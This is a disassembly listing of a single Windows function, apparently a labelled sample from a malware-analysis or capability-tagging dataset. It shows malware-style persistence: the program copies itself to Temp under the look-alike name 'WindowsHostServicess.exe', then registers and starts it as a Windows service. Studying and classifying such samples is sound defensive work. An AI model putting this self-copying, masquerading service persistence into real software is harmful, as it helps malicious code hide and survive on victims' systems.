Function at 0x1400297d0
Capabilities:
Create service
Persist via windows service
Start service

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x388
mov rax, qword [0x14008ae00]
xor rax, rsp
mov qword [rsp + 0x380], rax
lea rdx, [rsp + 0x130]
xor ecx, ecx
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x14002997b
lea rax, str.WindowsHostServicess.exe
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], 0x18
call fcn.14002dac0
lea rcx, [rsp + 0x340]
lea r8, [rsp + 0x110]
mov edx, eax
call fcn.140017930
lea rax, str.Temp
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], 4
call fcn.14002dac0
lea rcx, [rsp + 0xd0]
lea r8, [rsp + 0x110]
mov edx, eax
call fcn.140017930
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x80], 0xa
mov qword [rsp + 0x88], recv
movabs rax, 0x6f526d6574737953
mov qword [rsp + 0x70], rax
mov word [rsp + 0x78], 0x746f
lea rsi, [rsp + 0x90]
lea rdx, [rsp + 0x70]
mov rcx, rsi
call fcn.140018230
mov rax, qword [rsp + 0xa0]
cmp qword [rsp + 0xa8], 0x10
jb 0x1400298e1
mov rsi, qword [rsp + 0x90]
movabs rdi, 0x7ffffffffffffffe
mov qword [rsp + 0x110], rsi
mov qword [rsp + 0x118], rax
call fcn.14002dac0
lea rsi, [rsp + 0xb0]
lea r8, [rsp + 0x110]
mov rcx, rsi
mov edx, eax
call fcn.140017930
xorps xmm0, xmm0
movaps xmmword [rsp + 0xf0], xmm0
movaps xmmword [rsp + 0x100], xmm0
mov rbx, qword [rsp + 0xc0]
cmp qword [rsp + 0xc8], 8
jb 0x140029948
mov rsi, qword [rsp + 0xb0]
cmp rbx, rdi
ja 0x14002a0ab
cmp rbx, 7
ja 0x14002998e
mov qword [rsp + 0x100], rbx
mov qword [rsp + 0x108], 7
movups xmm0, xmmword [rsi]
movaps xmmword [rsp + 0xf0], xmm0
jmp 0x140029a1d
lea rcx, str.Error:_GetModuleFileName
call fcn.14003ac44
xor esi, esi
jmp 0x14002a08c
mov qword [rsp + 0x108], 7
mov rax, rbx
or rax, 7
cmp rax, rdi
ja 0x14002a0b5
cmp rax, 0xb
mov r14d, 0xa
cmovae r14, rax
lea rcx, [r14 + r14]
cmp r14, 0x7ff
jb 0x1400299e9
lea rax, [rdi - 0x12]
cmp r14, rax
jae 0x14002a0b5
add rcx, 0x29
call fcn.14002bc78
lea rcx, [rax + 0x27]
and rcx, 0xffffffffffffffe0
mov qword [rcx - 8], rax
jmp 0x1400299f5
add rcx, 2
call fcn.14002bc78
mov rcx, rax
mov qword [rsp + 0xf0], rcx
mov qword [rsp + 0x100], rbx
mov qword [rsp + 0x108], r14
lea r8, [rbx + rbx]
add r8, 2
mov rdx, rsi
call fcn.140055720
lea rsi, [rsp + 0xf0]
lea rdx, [rsp + 0xd0]
mov rcx, rsi
call fcn.140017050
xorps xmm0, xmm0
movaps xmmword [rsp + 0x110], xmm0
movaps xmmword [rsp + 0x120], xmm0
mov rbx, qword [rsp + 0x100]
cmp qword [rsp + 0x108], 8
jb 0x140029a63
mov rsi, qword [rsp + 0xf0]
cmp rbx, rdi
ja 0x14002a0ab
cmp rbx, 7
ja 0x140029a96
mov qword [rsp + 0x120], rbx
mov qword [rsp + 0x128], 7
movups xmm0, xmmword [rsi]
movaps xmmword [rsp + 0x110], xmm0
jmp 0x140029b25
mov qword [rsp + 0x128], 7
mov rax, rbx
or rax, 7
cmp rax, rdi
ja 0x14002a0b5
cmp rax, 0xb
mov r14d, 0xa
cmovae r14, rax
lea rcx, [r14 + r14]
cmp r14, 0x7ff
jb 0x140029af1
add rdi, 0xffffffffffffffee
cmp r14, rdi
jae 0x14002a0b5
add rcx, 0x29
call fcn.14002bc78
lea rcx, [rax + 0x27]
and rcx, 0xffffffffffffffe0
mov qword [rcx - 8], rax
jmp 0x140029afd
add rcx, 2
call fcn.14002bc78
mov rcx, rax
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x120], rbx
mov qword [rsp + 0x128], r14
lea r8, [rbx + rbx]
add r8, 2
mov rdx, rsi
call fcn.140055720
lea rsi, [rsp + 0x110]
lea rdx, [rsp + 0x340]
mov rcx, rsi
call fcn.140017050
mov rax, qword [rsp + 0x108]
cmp rax, 8
jb 0x140029b8b
mov rcx, qword [rsp + 0xf0]
lea rdx, [rax + rax]
add rdx, 2
cmp rdx, 0x1000
jb 0x140029b86
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14002a0b0
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.14002bcbc
mov qword [rsp + 0x100], 0
mov qword [rsp + 0x108], 7
mov word [rsp + 0xf0], 0
mov rax, qword [rsp + 0xc8]
cmp rax, 8
jb 0x140029bfb
mov rcx, qword [rsp + 0xb0]
lea rdx, [rax + rax]
add rdx, 2
cmp rdx, 0x1000
jb 0x140029bf6
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14002a0b0
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.14002bcbc
mov qword [rsp + 0xc0], 0
mov qword [rsp + 0xc8], 7
mov word [rsp + 0xb0], 0
mov rax, qword [rsp + 0xa8]
cmp rax, 0x10
jb 0x140029c64
mov rcx, qword [rsp + 0x90]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x140029c5f
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14002a0b0
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.14002bcbc
mov rax, qword [rsp + 0xe8]
cmp rax, 8
jb 0x140029cb2
mov rcx, qword [rsp + 0xd0]
lea rdx, [rax + rax]
add rdx, 2
cmp rdx, 0x1000
jb 0x140029cad
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14002a0b0
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.14002bcbc
mov rax, qword [rsp + 0x358]
cmp rax, 8
jb 0x140029d00
mov rcx, qword [rsp + 0x340]
lea rdx, [rax + rax]
add rdx, 2
cmp rdx, 0x1000
jb 0x140029cfb
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14002a0b0
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.14002bcbc
mov dword [rsp + 0xd0], 0
lea rdi, [0x14008a5b0]
mov qword [rsp + 0xd8], rdi
cmp qword [rsp + 0x128], 8
jb 0x140029d2d
mov rsi, qword [rsp + 0x110]
mov rcx, rsi
call fcn.14002dd6c
shr rax, 0x20
mov dword [rsp + 0xd0], eax
mov qword [rsp + 0xd8], rdi
lea rsi, [rsp + 0x130]
mov rcx, rsi
call fcn.14003ee18
xorps xmm0, xmm0
movaps xmmword [rsp + 0xf0], xmm0
movaps xmmword [rsp + 0x100], xmm0
lea rdi, [rsp + 0xf0]
mov rcx, rdi
mov rdx, rsi
mov r8, rax
call fcn.14002b2f0
lea rsi, [rsp + 0x340]
lea r8, [rsp + 0xd0]
mov rcx, rsi
mov rdx, rdi
call fcn.14002a6d0
cmp dword [rsp + 0xd0], 0
jne 0x140029dc6
lea rcx, [rsp + 0x340]
lea rdx, [rsp + 0x110]
lea r9, [rsp + 0xd0]
xor r8d, r8d
call fcn.14002a7b0
mov rax, qword [rsp + 0x378]
cmp rax, 8
jb 0x140029e14
mov rcx, qword [rsp + 0x360]
lea rdx, [rax + rax]
add rdx, 2
cmp rdx, 0x1000
jb 0x140029e0f
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14002a0b0
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.14002bcbc
mov rax, qword [rsp + 0x108]
cmp rax, 8
jb 0x140029e62
mov rcx, qword [rsp + 0xf0]
lea rdx, [rax + rax]
add rdx, 2
cmp rdx, 0x1000
jb 0x140029e5d
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14002a0b0
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.14002bcbc
cmp dword [rsp + 0xd0], 0
je 0x140029e7d
lea rcx, str.Error:_failed_to_copy
call fcn.14003ac44
jmp 0x14002a040
xor ecx, ecx
xor edx, edx
mov r8d, 3
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
test rax, rax
je 0x140029ef6
mov rdi, rax
mov rcx, qword [rsp + 0x128]
mov rax, qword [rsp + 0x110]
mov r9, qword [rsp + 0x120]
xorps xmm0, xmm0
movaps xmmword [rsp + 0x340], xmm0
movaps xmmword [rsp + 0x350], xmm0
test r9, r9
je 0x140029f08
cmp rcx, 8
lea rdx, [rsp + 0x110]
cmovae rdx, rax
lea r8, [rdx + r9*2]
mov rcx, rsi
call fcn.14002bb00
cmp qword [rsp + 0x358], 8
jb 0x140029f26
mov rsi, qword [rsp + 0x340]
jmp 0x140029f26
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.OpenSCManagerW_failed_0x_08lx_n
jmp 0x14002a039
mov qword [rsp + 0x358], 7
mov word [rsp + 0x340], 0
lea rsi, [rsp + 0x340]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x60], 0
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
lea rdx, str.WindowsHostServicess
mov rcx, rdi
mov r8, rdx
mov r9d, 4
call qword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov rsi, rax
mov rax, qword [rsp + 0x358]
cmp rax, 8
jb 0x140029fc3
mov rcx, qword [rsp + 0x340]
lea rdx, [rax + rax]
add rdx, 2
cmp rdx, 0x1000
jb 0x140029fbe
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14002a0b0
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.14002bcbc
test rsi, rsi
je 0x14002a00e
lea rdx, str.WindowsHostServicess
mov rcx, rdi
mov r8d, reloc.WS2_32.dll_recv
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
test rax, rax
je 0x14002a01d
mov rsi, rax
mov rcx, rax
xor edx, edx
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x14002a02c
mov rbx, qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call rbx
mov rcx, rsi
call rbx
mov sil, 1
jmp 0x14002a042
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.CreateServiceW_failed_0x_08lx_n
jmp 0x14002a039
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.OpenServiceW_failed_0x_08lx_n
jmp 0x14002a039
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Service_created_but_cannot_be_started_0x_08lx_n
mov edx, eax
call fcn.140002d40
xor esi, esi
mov rax, qword [rsp + 0x128]
cmp rax, 8
jb 0x14002a08c
mov rcx, qword [rsp + 0x110]
lea rdx, [rax + rax]
add rdx, 2
cmp rdx, 0x1000
jb 0x14002a087
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14002a0b0
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.14002bcbc
mov rcx, qword [rsp + 0x380]
xor rcx, rsp
call fcn.14002bd70
mov eax, esi
add rsp, 0x388
pop rbx
pop rdi
pop rsi
pop r14
ret
call fcn.140004660
call fcn.140038150
call fcn.140004420
int3